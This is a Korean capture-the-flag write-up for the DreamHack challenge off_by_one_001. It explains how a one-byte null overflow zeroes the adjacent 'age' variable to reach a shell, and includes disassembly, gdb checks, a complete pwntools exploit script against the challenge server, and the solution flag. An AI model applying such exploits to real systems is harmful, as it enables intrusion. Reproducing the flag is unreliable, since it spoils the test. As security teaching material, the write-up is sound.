[🌱 Sprout] 한 바이트만 넘쳐도 셸이 열린다 — DreamHack off_by_one_001 풀이

문제: DreamHack — off_by_one_001 분류: Pwnable 난이도: 🌱 Sprout FLAG: DH{343bab3ef81db6f26ee5f1362942cd79}

이름을 받는 입력 함수 하나에 ptr[len] = 0 이 들어 있다. 언뜻 평범해 보이는 문자열 종단 처리인데, len 이 버퍼 크기와 같아지는 순간 널 바이트가 버퍼 밖으로 한 칸 삐져나간다. 그 한 칸이 하필 바로 뒤에 있는 int age 의 최하위 바이트라, 값을 1에서 0으로 바꿔 놓는다. 그리고 코드는 age == 0 이면 셸을 준다.

문제 개요

풀이 흐름은 짧다. 소스를 읽어 read_str 의 종단 처리에서 한 바이트가 새는 걸 확인하고, 스택에서 name 과 age 가 정확히 20바이트 떨어져 있는지 디스어셈블로 재고, age == 0 을 만들어 get_shell 로 들어간다.

🧩 배경 — off-by-one 이 왜 위험한가

off-by-one 은 경계를 딱 하나 벗어나는 실수다. 배열 인덱스를 <= 로 돌린다든가, 크기 n 버퍼에 n 바이트를 채운 뒤 buf[n] 에 널을 넣는다든가. 넘치는 양이 겨우 1바이트라 리턴 주소까지는 못 건드리는 경우가 많고, 그래서 대수롭지 않게 넘어가기 쉽다.

하지만 그 1바이트가 바로 뒤에 붙은 다른 변수를 건드린다면 이야기가 달라진다. 특히 리틀엔디언에서 정수의 최하위 바이트(LSB)를 0으로 만들면 작은 값은 통째로 0이 된다. 1 → 0, 256 → 0 처럼. 분기 조건이 그 변수 하나에 걸려 있으면 오버플로우 한 바이트로 흐름을 통째로 뒤집을 수 있다.

이 문제는 그 구도를 교과서처럼 보여준다. char name[20] 바로 뒤에 int age = 1 이 있고, name[20] 에 널이 써지면 age 의 LSB(0x01)가 0x00 이 된다.

🔬 코드 정찰

제공된 소스는 이게 전부다.

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';        // <-- len == size 면 ptr[size] 에 써진다 (off-by-one)
}
 
void get_shell()
{
    system("/bin/sh");
}
 
int main()
{
    char name[20];
    int age = 1;
 
    initialize();
 
    printf("Name: ");
    read_str(name, 20);
 
    printf("Are you baby?");
 
    if (age == 0)
        get_shell();
    else {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }
    return 0;
}

read_str(name, 20) 은 최대 20바이트를 읽는다. read 는 실제로 읽은 바이트 수를 돌려주는데, 입력을 정확히 20바이트 보내면 len == 20 이 되고, 마지막 줄 ptr[len] = '\0' 은 name[20] 에 널을 쓴다. name 은 크기 20짜리 배열이니 name[20] 은 이미 배열 바깥이다.

get_shell 이 소스에 그대로 보이지만, 이걸 호출하는 유일한 길은 age == 0 이다. age 는 1로 초기화되고 코드 어디서도 다시 대입하지 않는다. 그러니 우리가 손댈 수 있는 건 저 새어 나가는 한 바이트뿐이다.

바이너리 보호 기법부터 확인한다.

file off_by_one_001 && pwn checksec off_by_one_001 && nm off_by_one_001 | grep -E " T (main|read_str|get_shell)| U system"

NX 가 켜져 있어 스택 셸코드는 못 쓰고, 카나리는 없다. 어차피 우리는 리턴 주소를 덮는 게 아니라 지역 변수 한 바이트만 건드릴 거라 보호 기법은 크게 상관없다. get_shell 심볼이 그대로 있으니 system("/bin/sh") 도 이미 준비돼 있다.

💣 핵심 — 한 바이트 NUL 이 age 를 0 으로

노릴 곳은 name 과 age 의 위치 관계다. 둘이 스택에서 얼마나 떨어져 있느냐가 전부다.

디스어셈블로 실제 오프셋을 재본다. 먼저 read_str 의 종단 처리 부분.

objdump -d -M intel off_by_one_001 --start-address=0x8048609 --stop-address=0x8048641

mov edx,[ebp-0x4] 로 len 을, mov eax,[ebp+0x8] 로 ptr 을 가져와 add eax,edx 로 ptr+len 주소를 만든 다음 mov BYTE PTR [eax],0x0 을 실행한다. 이게 소스의 ptr[len] = '\0' 이고, len == 20 이면 ptr[20] 에 널을 쓴다.

이제 main 에서 name 과 age 의 오프셋을 본다.

objdump -d -M intel off_by_one_001 --start-address=0x8048654 --stop-address=0x804869b

• mov DWORD PTR [ebp-0x4],0x1 → age 는 ebp-0x4, 초기값 1
• lea eax,[ebp-0x18] → name 은 ebp-0x18
• push 0x14 → read_str 에 넘기는 size 는 0x14 = 20
• cmp DWORD PTR [ebp-0x4],0x0 → age == 0 검사
• call get_shell

name(ebp-0x18) 과 age(ebp-0x4) 의 거리는 0x18 - 0x4 = 0x14 = 20. 그러니 name[20] 은 정확히 age 의 시작 바이트, 리틀엔디언에서 age 의 LSB 다. age = 0x00000001 의 LSB(0x01)를 0x00 으로 덮으면 값 전체가 0x00000000 이 된다.

정적으로 짚은 오프셋이 실행 중에도 맞는지 gdb 로 확인한다. read_str 호출 직전(0x8048679)과 반환 직후(0x804867e)에 브레이크를 걸고 입력으로 'A'*20 을 흘려 넣었다.

# verify.gdb
break *0x8048679
break *0x804867e
run < /tmp/obo_input   # 'A' * 20
printf "age = %d\n", *(int*)($ebp-0x4)

gdb -q -batch -x verify.gdb ./off_by_one_001

read_str 호출 직전에는 age = 1 이었다가, 20바이트를 넣고 반환된 직후에는 age = 0 으로 바뀌어 있다. name 과 age 주소 차이도 0xffffcb14 - 0xffffcb00 = 0x14 로 정확히 20. 오프셋도, off-by-one 발동도 런타임에서 그대로 확인된다.

🎯 익스플로잇 설계

정리하면 조건은 단 하나. read 가 20을 돌려주게 만들면 된다. 그러려면 Name: 입력으로 정확히 20바이트를 보낸다.

왜 하필 20인가. read(0, ptr, 20) 은 최대 20까지 읽는다. 19바이트만 보내면 len = 19, ptr[19] = 0 이라 name 배열 안에서 끝나 age 는 그대로 1이다. 21바이트를 보내도 read 는 20까지만 읽어 len = 20 이 되긴 하지만, 어차피 필요한 건 20바이트가 한 번에 도착해 read 가 20을 반환하는 것뿐이다. 그래서 개행 없이 딱 20바이트를 send 한다. 개행을 붙이면 그게 21번째 바이트가 되어 버리니 넣지 않는다.

로컬에서 먼저 메커니즘만 확인했다. 셸이 실제로 열리는지 id 로 본다(플래그는 원격 서버에만 있으니 로컬은 셸 획득만 검증).

from pwn import *
p = process("./extracted/off_by_one_001")
p.recvuntil(b"Name: ")
p.send(b"A" * 20)                # 정확히 20바이트 → read 가 20 반환
p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")

프롬프트 뒤에 찍힌 20 이 read_str 안의 printf("%d", len) 출력이다. len = 20 이 나왔다는 건 off-by-one 이 발동했다는 뜻이고, 이어서 id 가 정상 실행됐으니 age 가 0이 되어 get_shell 로 들어간 게 맞다.

🚀 Full Exploit

로컬과 원격의 차이는 셸을 잡은 뒤 무엇을 읽느냐뿐이다. 원격에서는 플래그 파일을 읽는다.

#!/usr/bin/env python3
# off_by_one_001 — read_str 의 ptr[len]='\0' off-by-one 으로 age LSB 를 0 으로
import sys
from pwn import *
 
context.arch = "i386"
HOST, PORT = "host3.dreamhack.games", 13389
 
LOCAL = len(sys.argv) > 1 and sys.argv[1] == "local"
p = process("./extracted/off_by_one_001") if LOCAL else remote(HOST, PORT)
 
p.recvuntil(b"Name: ")
 
# 정확히 20바이트 → read() 가 20 반환 → ptr[20]='\0' 로 age 의 LSB 를 0 으로
p.send(b"A" * 20)
 
if LOCAL:
    p.sendline(b"id; echo 'shell OK (age forced to 0 -> get_shell)'")
else:
    p.sendline(b"cat /flag* flag* 2>/dev/null; id")
p.sendline(b"echo ===END===")
 
print(p.recvuntil(b"===END===", timeout=5).decode(errors="replace"))
p.close()

원격에서도 똑같이 20Are you baby? 뒤에 셸이 열리고, cat 이 플래그를 뱉는다.

DH{343bab3ef81db6f26ee5f1362942cd79}

📝 결론

한 바이트도 경계 밖이면 끝이다.

이 문제의 버그는 ptr[len] = '\0' 한 줄이다. read 가 버퍼 크기와 같은 값을 돌려줄 수 있다는 걸 잊고, 종단 널을 ptr[len] 에 그대로 써 버렸다. 넘치는 건 겨우 1바이트지만 그 자리가 옆 변수의 LSB 라 값 하나가 통째로 뒤집혔다.

버퍼 종단은 크기를 넘지 않게.

read 결과로 널을 붙일 거면 버퍼를 한 칸 더 크게 잡거나(char name[21]), 읽는 크기를 size-1 로 제한해 ptr[len] 이 절대 배열 밖으로 못 나가게 해야 한다. read(0, ptr, size-1) 이었다면 이 버그는 없었다.

분기를 좌우하는 값은 오버플로우 사거리에서 떼어 놓기.

age 처럼 흐름을 결정하는 변수가 오버플로우 가능한 버퍼 바로 뒤에 놓이면, 단 한 바이트로도 조작된다. 컴파일러가 배치를 바꾸기도 하지만 그 순서에 의존해선 안 된다. 애초에 입력 처리에서 경계를 정확히 지키는 게 유일하게 믿을 수 있는 방어다.